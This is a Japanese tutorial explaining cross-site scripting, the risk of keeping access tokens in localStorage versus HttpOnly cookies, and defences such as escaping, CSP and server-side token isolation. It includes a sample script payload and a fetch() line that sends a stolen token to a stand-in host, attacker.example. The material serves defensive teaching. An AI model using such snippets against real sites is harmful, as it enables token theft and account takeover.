XSS とは
XSS は Cross-Site Scripting の略です。攻撃者のJavaScriptが、本来のサイト上で実行されてしまう脆弱性です。
たとえば、コメント欄に次のような文字列を投稿できてしまうとします。
<script>alert("xss")</script>
サイトがこれをそのままHTMLとして表示すると、他のユーザーのブラウザで攻撃者のJavaScriptが実行されます。
XSS が危険な理由
XSSの怖さは、そのJavaScriptが「そのサイトのページ上で」実行されることです。
つまり攻撃者のコードは、ユーザー本人のブラウザで、ログイン済みサイトの文脈を使って動きます。
できる可能性があることは、たとえば次のようなものです。
- 画面上の情報を読む
- フォームを勝手に送信する
- APIを呼ぶ
- localStorage を読む
- Cookieを読む。ただしHttpOnly Cookieは読めない
localStorage のトークンを盗む例
localStorageにアクセストークンが保存されているとします。
localStorage.setItem("access_token", "xxxxx.yyyyy.zzzzz");
XSSがあると、攻撃者のJavaScriptはこれを読めます。
const token = localStorage.getItem("access_token");
fetch("https://attacker.example/collect", {
method: "POST",
body: token,
});
この時点で、トークンは攻撃者のサーバへ送られます。
注意: localStorage は同じオリジンのJavaScriptから読めます。XSSは攻撃者のJavaScriptを同じオリジンのページで動かすため、保存済みトークンが狙われます。
盗まれたトークンで何ができるか
JWTやアクセストークンがBearer Tokenとして使われている場合、攻撃者は自分の環境からAPIを叩けます。
GET /api/me HTTP/1.1
Host: api.example.com
Authorization: Bearer stolen_token
APIサーバは、トークンが正しく有効期限内なら本人のリクエストとして処理する可能性があります。
これが、localStorageに高価値トークンを置くことが危険な理由です。
HttpOnly Cookie なら盗めないのか
HttpOnly が付いたCookieは、JavaScriptから読めません。
console.log(document.cookie);
// HttpOnly Cookie は出てこない
そのため、XSSがあってもCookieの値そのものを外部へ送ることは難しくなります。
ただし、XSSが無害になるわけではありません。攻撃者はユーザーのブラウザ上でAPIを呼べます。
fetch("/api/profile", {
method: "POST",
body: JSON.stringify({ name: "changed" }),
});
Cookieはブラウザが自動で送るため、サーバ側ではログイン済みリクエストに見える可能性があります。
XSS 対策の基本
保存場所を工夫するだけでは不十分です。XSSそのものを防ぐ必要があります。
代表的な対策は次の通りです。
| 対策 | 内容 |
|---|---|
| 自動エスケープ | ユーザー入力をHTMLとして解釈させない |
| サニタイズ | 許可しないタグや属性を除去する |
| CSP | 実行できるスクリプトの出所を制限する |
dangerouslySetInnerHTML を避ける | ReactでHTML直挿入を安易に使わない |
| 依存ライブラリ更新 | 既知脆弱性を減らす |
保存場所は最後の防衛線
XSSがある時点で、すでに危険な状態です。しかし、保存場所によって被害範囲は変わります。
| 保存場所 | XSS時の被害 |
|---|---|
| localStorage | トークンを盗まれやすい |
| sessionStorage | タブ内トークンを盗まれやすい |
| メモリ | 実行中なら読まれる可能性あり |
| HttpOnly Cookie | 値は読まれにくいが操作はされうる |
| サーバ側 | ブラウザから直接読まれない |
このため、近年はアクセストークンやリフレッシュトークンをBFFやサーバ側へ隔離する設計が増えています。
まとめ
XSSは、攻撃者のJavaScriptが本来のサイト上で実行される脆弱性です。
- localStorage はJavaScriptから読める
- XSSがあると攻撃者のJavaScriptにも読まれる
- Bearer Token を盗まれるとAPIを使われる可能性がある
- HttpOnly Cookie は値の窃取を防ぎやすい
- ただしXSS中の操作は防げない
- XSS対策とトークン隔離を両方考える
参考リソース
- 公式ドキュメント - XSS とは何か - localStorage のトークンが盗まれる理由 を確認するための一次情報